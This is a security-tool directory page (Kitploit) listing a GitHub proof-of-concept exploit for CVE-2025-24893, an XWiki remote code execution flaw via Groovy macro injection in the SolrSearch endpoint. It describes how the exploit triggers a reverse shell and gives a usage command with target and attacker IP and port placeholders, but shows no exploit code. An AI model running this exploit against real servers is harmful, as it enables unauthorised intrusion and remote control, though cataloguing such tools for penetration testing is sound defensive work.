Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24893-Reverse-Shell — Reverse Shell Payload for CVE-2025-24893 | Kitploit
Tools/GitHubGitHub/azureadtrent/cve-2025-24893-reverse-shell
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubazureadtrent/cve-2025-24893-reverse-shell

CVE-2025-24893-Reverse-Shell

Reverse Shell Payload for CVE-2025-24893

View Repository
31 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-24893 - XWiki Remote Code Execution Exploit

PoC for CVE-2025-24893 – XWiki <groovy> Macro Remote Code Execution
Inspired by Artemir's original PoC

Description

This is a Proof-of-Concept (PoC) exploit for CVE-2025-24893, a Remote Code Execution (RCE) vulnerability in vulnerable versions of XWiki.

The flaw lies in the improper sanitization of user input within the SolrSearch endpoint, which is vulnerable to unsandboxed <groovy> macro injection via an RSS feed query.

This script injects a Groovy payload using the async macro that results in command execution on the server, allowing an attacker to trigger a reverse shell back to their system.

Usage

root@kitploit:~
python3 CVE-2025-24893-reverse-shell.py -u <target_url> -i <attacker_ip> -p <attacker_port>
Download Tool